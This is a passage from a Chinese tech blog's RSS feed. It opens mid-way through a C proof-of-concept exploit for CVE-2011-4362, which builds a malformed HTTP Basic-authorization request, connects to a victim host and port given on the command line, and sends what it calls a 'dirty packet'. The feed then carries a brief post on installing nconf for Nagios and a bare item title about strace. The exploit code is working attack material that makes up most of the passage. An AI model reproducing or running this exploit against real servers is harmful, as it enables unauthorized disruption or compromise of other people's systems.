<p style="padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-left: 5px; padding-right: 5px; padding-top: 0px; " class="L1">&quot;Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n&quot;</p>
<p style="padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-left: 5px; padding-right: 5px; padding-top: 0px; " class="L1">&quot;Proxy-Connection: keep-alive\r\n&quot;</p>
<p style="padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-left: 5px; padding-right: 5px; padding-top: 0px; " class="L1">&quot;Authorization: Basic &quot;;</p>
<p style="padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-left: 5px; padding-right: 5px; padding-top: 0px; " class="L1">&nbsp;</p>
<p style="padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-left: 5px; padding-right: 5px; padding-top: 0px; " class="L1">&nbsp;</p>
<p style="padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-left: 5px; padding-right: 5px; padding-top: 0px; " class="L1">int main(int argc, char *argv[]) {</p>
<p style="padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-left: 5px; padding-right: 5px; padding-top: 0px; " class="L1">&nbsp;</p>
<p style="padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-left: 5px; padding-right: 5px; padding-top: 0px; " class="L1">&nbsp; &nbsp;int i=PORT,opt=0,sockfd;</p>
<p style="padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-left: 5px; padding-right: 5px; padding-top: 0px; " class="L1">&nbsp; &nbsp;char *remote_dir = NULL;</p>
<p style="padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-left: 5px; padding-right: 5px; padding-top: 0px; " class="L1">&nbsp; &nbsp;char *r_hostname = NULL;</p>
<p style="padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-left: 5px; padding-right: 5px; padding-top: 0px; " class="L1">&nbsp; &nbsp;struct sockaddr_in servaddr;</p>
<p style="padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-left: 5px; padding-right: 5px; padding-top: 0px; " class="L1">&nbsp; &nbsp;struct hostent *h = NULL;</p>
<p style="padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-left: 5px; padding-right: 5px; padding-top: 0px; " class="L1">&nbsp; &nbsp;char *buf;</p>
<p style="padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-left: 5px; padding-right: 5px; padding-top: 0px; " class="L1">&nbsp; &nbsp;unsigned int len = 0x0;</p>
<p style="padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-left: 5px; padding-right: 5px; padding-top: 0px; " class="L1">&nbsp;</p>
<p style="padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-left: 5px; padding-right: 5px; padding-top: 0px; " class="L1">&nbsp;</p>
<p style="padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-left: 5px; padding-right: 5px; padding-top: 0px; " class="L1">&nbsp; &nbsp;if (!argv[1])</p>
<p style="padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-left: 5px; padding-right: 5px; padding-top: 0px; " class="L1">&nbsp; &nbsp; &nbsp; usage(argv[0]);</p>
<p style="padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-left: 5px; padding-right: 5px; padding-top: 0px; " class="L1">&nbsp;</p>
<p style="padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-left: 5px; padding-right: 5px; padding-top: 0px; " class="L1">&nbsp;</p>
<p style="padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-left: 5px; padding-right: 5px; padding-top: 0px; " class="L1">&nbsp; &nbsp;printf(&quot;\n\t...::: -=[ Proof of Concept for CVE-2011-4362 (by Adam 'pi3' Zabrocki) ]=- :::...\n&quot;);</p>
<p style="padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-left: 5px; padding-right: 5px; padding-top: 0px; " class="L1">&nbsp; &nbsp;printf(&quot;\n\t\t[+] Preparing arguments... &quot;);</p>
<p style="padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-left: 5px; padding-right: 5px; padding-top: 0px; " class="L1">&nbsp; &nbsp;while((opt = getopt(argc,argv,&quot;h:d:p:?&quot;)) != -1) {</p>
<p style="padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-left: 5px; padding-right: 5px; padding-top: 0px; " class="L1">&nbsp; &nbsp; &nbsp; switch(opt) {</p>
<p style="padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-left: 5px; padding-right: 5px; padding-top: 0px; " class="L1">&nbsp;</p>
<p style="padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-left: 5px; padding-right: 5px; padding-top: 0px; " class="L1">&nbsp; &nbsp; &nbsp; &nbsp;case 'h':</p>
<p style="padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-left: 5px; padding-right: 5px; padding-top: 0px; " class="L1">&nbsp;</p>
<p style="padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-left: 5px; padding-right: 5px; padding-top: 0px; " class="L1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;r_hostname = strdup(optarg);</p>
<p style="padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-left: 5px; padding-right: 5px; padding-top: 0px; " class="L1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;if ( (h = gethostbyname(r_hostname))==NULL) {</p>
<p style="padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-left: 5px; padding-right: 5px; padding-top: 0px; " class="L1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;printf(&quot;Gethostbyname() field!\n&quot;);</p>
<p style="padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-left: 5px; padding-right: 5px; padding-top: 0px; " class="L1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;exit(-1);</p>
<p style="padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-left: 5px; padding-right: 5px; padding-top: 0px; " class="L1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;}</p>
<p style="padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-left: 5px; padding-right: 5px; padding-top: 0px; " class="L1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;break;</p>
<p style="padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-left: 5px; padding-right: 5px; padding-top: 0px; " class="L1">&nbsp;</p>
<p style="padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-left: 5px; padding-right: 5px; padding-top: 0px; " class="L1">&nbsp; &nbsp; &nbsp; &nbsp;case 'p':</p>
<p style="padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-left: 5px; padding-right: 5px; padding-top: 0px; " class="L1">&nbsp;</p>
<p style="padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-left: 5px; padding-right: 5px; padding-top: 0px; " class="L1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;i=atoi(optarg);</p>
<p style="padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-left: 5px; padding-right: 5px; padding-top: 0px; " class="L1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;break;</p>
<p style="padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-left: 5px; padding-right: 5px; padding-top: 0px; " class="L1">&nbsp;</p>
<p style="padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-left: 5px; padding-right: 5px; padding-top: 0px; " class="L1">&nbsp; &nbsp; &nbsp; &nbsp;case 'd':</p>
<p style="padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-left: 5px; padding-right: 5px; padding-top: 0px; " class="L1">&nbsp;</p>
<p style="padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-left: 5px; padding-right: 5px; padding-top: 0px; " class="L1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;remote_dir = strdup(optarg);</p>
<p style="padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-left: 5px; padding-right: 5px; padding-top: 0px; " class="L1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;break;</p>
<p style="padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-left: 5px; padding-right: 5px; padding-top: 0px; " class="L1">&nbsp;</p>
<p style="padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-left: 5px; padding-right: 5px; padding-top: 0px; " class="L1">&nbsp; &nbsp; &nbsp; &nbsp;case '?':</p>
<p style="padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-left: 5px; padding-right: 5px; padding-top: 0px; " class="L1">&nbsp;</p>
<p style="padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-left: 5px; padding-right: 5px; padding-top: 0px; " class="L1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;usage(argv[0]);</p>
<p style="padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-left: 5px; padding-right: 5px; padding-top: 0px; " class="L1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;break;</p>
<p style="padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-left: 5px; padding-right: 5px; padding-top: 0px; " class="L1">&nbsp;</p>
<p style="padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-left: 5px; padding-right: 5px; padding-top: 0px; " class="L1">&nbsp; &nbsp; &nbsp; &nbsp;default:</p>
<p style="padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-left: 5px; padding-right: 5px; padding-top: 0px; " class="L1">&nbsp;</p>
<p style="padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-left: 5px; padding-right: 5px; padding-top: 0px; " class="L1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;usage(argv[0]);</p>
<p style="padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-left: 5px; padding-right: 5px; padding-top: 0px; " class="L1">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;break;</p>
<p style="padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-left: 5px; padding-right: 5px; padding-top: 0px; " class="L1">&nbsp;</p>
<p style="padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-left: 5px; padding-right: 5px; padding-top: 0px; " class="L1">&nbsp; &nbsp; &nbsp; }</p>
<p style="padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-left: 5px; padding-right: 5px; padding-top: 0px; " class="L1">&nbsp; &nbsp;}</p>
<p style="padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-left: 5px; padding-right: 5px; padding-top: 0px; " class="L1">&nbsp;</p>
<p style="padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-left: 5px; padding-right: 5px; padding-top: 0px; " class="L1">&nbsp; &nbsp;if (!remote_dir || !h) {</p>
<p style="padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-left: 5px; padding-right: 5px; padding-top: 0px; " class="L1">&nbsp; &nbsp; &nbsp; usage(argv[0]);</p>
<p style="padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-left: 5px; padding-right: 5px; padding-top: 0px; " class="L1">&nbsp; &nbsp; &nbsp; exit(-1);</p>
<p style="padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-left: 5px; padding-right: 5px; padding-top: 0px; " class="L1">&nbsp; &nbsp;}</p>
<p style="padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-left: 5px; padding-right: 5px; padding-top: 0px; " class="L1">&nbsp;</p>
<p style="padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-left: 5px; padding-right: 5px; padding-top: 0px; " class="L1">&nbsp; &nbsp;servaddr.sin_family &nbsp; &nbsp; &nbsp;= AF_INET;</p>
<p style="padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-left: 5px; padding-right: 5px; padding-top: 0px; " class="L1">&nbsp; &nbsp;servaddr.sin_port &nbsp; &nbsp; &nbsp; &nbsp;= htons(i);</p>
<p style="padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-left: 5px; padding-right: 5px; padding-top: 0px; " class="L1">&nbsp; &nbsp;servaddr.sin_addr &nbsp; &nbsp; &nbsp; &nbsp;= *(struct in_addr*)h-&gt;h_addr;</p>
<p style="padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-left: 5px; padding-right: 5px; padding-top: 0px; " class="L1">&nbsp;</p>
<p style="padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-left: 5px; padding-right: 5px; padding-top: 0px; " class="L1">&nbsp; &nbsp;len = strlen(header_port)+strlen(remote_dir)+strlen(r_hostname)+512;</p>
<p style="padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-left: 5px; padding-right: 5px; padding-top: 0px; " class="L1">&nbsp; &nbsp;if ( (buf = (char *)malloc(len)) == NULL) {</p>
<p style="padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-left: 5px; padding-right: 5px; padding-top: 0px; " class="L1">&nbsp; &nbsp; &nbsp; printf(&quot;malloc() :(\n&quot;);</p>
<p style="padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-left: 5px; padding-right: 5px; padding-top: 0px; " class="L1">&nbsp; &nbsp; &nbsp; exit(-1);</p>
<p style="padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-left: 5px; padding-right: 5px; padding-top: 0px; " class="L1">&nbsp; &nbsp;}</p>
<p style="padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-left: 5px; padding-right: 5px; padding-top: 0px; " class="L1">&nbsp; &nbsp;memset(buf,0x0,len);</p>
<p style="padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-left: 5px; padding-right: 5px; padding-top: 0px; " class="L1">&nbsp;</p>
<p style="padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-left: 5px; padding-right: 5px; padding-top: 0px; " class="L1">&nbsp; &nbsp;if (i != 80)</p>
<p style="padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-left: 5px; padding-right: 5px; padding-top: 0px; " class="L1">&nbsp; &nbsp; &nbsp; snprintf(buf,len,header_port,remote_dir,r_hostname,i);</p>
<p style="padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-left: 5px; padding-right: 5px; padding-top: 0px; " class="L1">&nbsp; &nbsp;else</p>
<p style="padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-left: 5px; padding-right: 5px; padding-top: 0px; " class="L1">&nbsp; &nbsp; &nbsp; snprintf(buf,len,header,remote_dir,r_hostname);</p>
<p style="padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-left: 5px; padding-right: 5px; padding-top: 0px; " class="L1">&nbsp;</p>
<p style="padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-left: 5px; padding-right: 5px; padding-top: 0px; " class="L1">&nbsp; &nbsp;for (i=0;i&lt;130;i++)</p>
<p style="padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-left: 5px; padding-right: 5px; padding-top: 0px; " class="L1">&nbsp; &nbsp; &nbsp; buf[strlen(buf)] = 127+i;</p>
<p style="padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-left: 5px; padding-right: 5px; padding-top: 0px; " class="L1">&nbsp;</p>
<p style="padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-left: 5px; padding-right: 5px; padding-top: 0px; " class="L1">&nbsp; &nbsp;buf[strlen(buf)] = '\r';</p>
<p style="padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-left: 5px; padding-right: 5px; padding-top: 0px; " class="L1">&nbsp; &nbsp;buf[strlen(buf)] = '\n';</p>
<p style="padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-left: 5px; padding-right: 5px; padding-top: 0px; " class="L1">&nbsp; &nbsp;buf[strlen(buf)] = '\r';</p>
<p style="padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-left: 5px; padding-right: 5px; padding-top: 0px; " class="L1">&nbsp; &nbsp;buf[strlen(buf)] = '\n';</p>
<p style="padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-left: 5px; padding-right: 5px; padding-top: 0px; " class="L1">&nbsp;</p>
<p style="padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-left: 5px; padding-right: 5px; padding-top: 0px; " class="L1">&nbsp; &nbsp;printf(&quot;OK\n\t\t[+] Creating socket... &quot;);</p>
<p style="padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-left: 5px; padding-right: 5px; padding-top: 0px; " class="L1">&nbsp; &nbsp;if ( (sockfd=socket(AF_INET,SOCK_STREAM,0)) &lt; 0 ) {</p>
<p style="padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-left: 5px; padding-right: 5px; padding-top: 0px; " class="L1">&nbsp; &nbsp; &nbsp; printf(&quot;Socket() error!\n&quot;);</p>
<p style="padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-left: 5px; padding-right: 5px; padding-top: 0px; " class="L1">&nbsp; &nbsp; &nbsp; exit(-1);</p>
<p style="padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-left: 5px; padding-right: 5px; padding-top: 0px; " class="L1">&nbsp; &nbsp;}</p>
<p style="padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-left: 5px; padding-right: 5px; padding-top: 0px; " class="L1">&nbsp;</p>
<p style="padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-left: 5px; padding-right: 5px; padding-top: 0px; " class="L1">&nbsp; &nbsp;printf(&quot;OK\n\t\t[+] Connecting to [%s]... &quot;,r_hostname);</p>
<p style="padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-left: 5px; padding-right: 5px; padding-top: 0px; " class="L1">&nbsp; &nbsp;if ( (connect(sockfd,(SA*)&amp;servaddr,sizeof(servaddr)) ) &lt; 0 ) {</p>
<p style="padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-left: 5px; padding-right: 5px; padding-top: 0px; " class="L1">&nbsp; &nbsp; &nbsp; printf(&quot;Connect() error!\n&quot;);</p>
<p style="padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-left: 5px; padding-right: 5px; padding-top: 0px; " class="L1">&nbsp; &nbsp; &nbsp; exit(-1);</p>
<p style="padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-left: 5px; padding-right: 5px; padding-top: 0px; " class="L1">&nbsp; &nbsp;}</p>
<p style="padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-left: 5px; padding-right: 5px; padding-top: 0px; " class="L1">&nbsp;</p>
<p style="padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-left: 5px; padding-right: 5px; padding-top: 0px; " class="L1">&nbsp; &nbsp;printf(&quot;OK\n\t\t[+] Sending dirty packet... &quot;);</p>
<p style="padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-left: 5px; padding-right: 5px; padding-top: 0px; " class="L1">// &nbsp; write(1,buf,strlen(buf));</p>
<p style="padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-left: 5px; padding-right: 5px; padding-top: 0px; " class="L1">&nbsp; &nbsp;write(sockfd,buf,strlen(buf));</p>
<p style="padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-left: 5px; padding-right: 5px; padding-top: 0px; " class="L1">&nbsp;</p>
<p style="padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-left: 5px; padding-right: 5px; padding-top: 0px; " class="L1">&nbsp; &nbsp;printf(&quot;OK\n\n\t\t[+] Check the website!\n\n&quot;);</p>
<p style="padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-left: 5px; padding-right: 5px; padding-top: 0px; " class="L1">&nbsp;</p>
<p style="padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-left: 5px; padding-right: 5px; padding-top: 0px; " class="L1">&nbsp; &nbsp;close(sockfd);</p>
<p style="padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-left: 5px; padding-right: 5px; padding-top: 0px; " class="L1">&nbsp;</p>
<p style="padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-left: 5px; padding-right: 5px; padding-top: 0px; " class="L1">}</p>
<p style="padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-left: 5px; padding-right: 5px; padding-top: 0px; " class="L1">&nbsp;</p>
<p style="padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-left: 5px; padding-right: 5px; padding-top: 0px; " class="L1">int usage(char *arg) {</p>
<p style="padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-left: 5px; padding-right: 5px; padding-top: 0px; " class="L1">&nbsp;</p>
<p style="padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-left: 5px; padding-right: 5px; padding-top: 0px; " class="L1">&nbsp; &nbsp; &nbsp; printf(&quot;\n\t...::: -=[ Proof of Concept for CVE-2011-4362 (by Adam 'pi3' Zabrocki) ]=- :::...\n&quot;);</p>
<p style="padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-left: 5px; padding-right: 5px; padding-top: 0px; " class="L1"><span class="Apple-tab-span" style="white-space:pre">	</span> &nbsp;printf(&quot;\n\t*** [ blog http://www.kukafei520.net ]&quot;);</p>
<p style="padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-left: 5px; padding-right: 5px; padding-top: 0px; " class="L1"><span class="Apple-tab-span" style="white-space:pre">	</span> &nbsp;printf(&quot;\n\t*** [ E-mail voilet119@163.com ]&quot;);</p>
<p style="padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-left: 5px; padding-right: 5px; padding-top: 0px; " class="L1">&nbsp; &nbsp; &nbsp; printf(&quot;\n\tUsage: %s &lt;options&gt;\n\n\t\tOptions:\n&quot;,arg);</p>
<p style="padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-left: 5px; padding-right: 5px; padding-top: 0px; " class="L1">&nbsp; &nbsp; &nbsp; printf(&quot;\t\t\t -v &lt;victim&gt;\n\t\t\t -p &lt;port&gt;\n\t\t\t -d &lt;remote_dir_for_auth&gt;\n\n&quot;);</p>
<p style="padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-left: 5px; padding-right: 5px; padding-top: 0px; " class="L1">&nbsp; &nbsp; &nbsp; exit(0);</p>
<p style="padding-bottom: 0px; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-left: 5px; padding-right: 5px; padding-top: 0px; " class="L1">}&nbsp;</p>
<p style="PADDING-BOTTOM: 0px; LINE-HEIGHT: 15px; MARGIN: 0px; PADDING-LEFT: 5px; PADDING-RIGHT: 5px; COLOR: rgb(149,149,149); PADDING-TOP: 0px" class="L1">&nbsp;</p>
<p style="PADDING-BOTTOM: 0px; LINE-HEIGHT: 15px; MARGIN: 0px; PADDING-LEFT: 5px; PADDING-RIGHT: 5px; COLOR: rgb(149,149,149); PADDING-TOP: 0px" class="L1"><span style="PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-LEFT: 0px; PADDING-RIGHT: 0px; COLOR: rgb(136,0,0); PADDING-TOP: 0px" class="com"><span style="FONT-FAMILY: Courier New"><img height="248" width="786" alt="" src="http://www.kukafei520.net/blog/attachments/month_1112/i20111227114352.png" /></span></span></p>]]></description>
		</item>
		
			<item>
			<link>http://www.kukafei520.net/blog/article.asp?id=449</link>
			<title><![CDATA[nagios配置文件生成器nconf]]></title>
			<author>voilet119@163.com(苦咖啡)</author>
			<category><![CDATA[网络技术]]></category>
			<pubDate>Tue,13 Dec 2011 13:34:58 +0800</pubDate>
			<guid>http://www.kukafei520.net/blog/default.asp?id=449</guid>
		<description><![CDATA[<p>可能很多新手在配置nagios的时候对其配置文件感到头痛，现在有了好的办法去解决，就是用nconf来生成配置文件，话不多说，看具体操作方法</p>
<p>下载最新的nconf文件</p>
<p>wget <a href="http://sourceforge.net/projects/nconf/files/nconf/1.3.0-0/nconf-1.3.0-0.tgz/download">http://sourceforge.net/projects/nconf/files/nconf/1.3.0-0/nconf-1.3.0-0.tgz/download</a></p>
<p>下载完文件后，直接解压缩，配置好数据库用户名及密码，配置好nginx或是apache，本文使用nginx配置其虚拟主机</p>
<p>直接访问地址<a href="http://127.0.0.1">http://127.0.0.1</a></p>
<p>按提示进行安装，安装完成后需要删除INSTALL INSTALL.php Update Update.php这几个目录及文件，否则无法跳转到安装成功的界面</p>
<p>以下为nconf的截图</p>
<p>&nbsp;</p>
<p><img alt="NConf.jpg" height="1712" width="1007" src="http://www.kukafei520.net/blog/attachments/month_1112/l20111213133458.jpg" /></p>]]></description>
		</item>
		
			<item>
			<link>http://www.kukafei520.net/blog/article.asp?id=448</link>
			<title><![CDATA[strace使用讲解【原创】]]></title>
			<author>voilet119@163.com(苦咖啡)</author>
			<category><![CDATA[网络技术]]></category>
			<pubDate>Wed,30 Nov 2011 10:10:24 +0800</pubDate>
			<guid>http://www.kukafei520.net/blog/default.asp?id=448</guid>
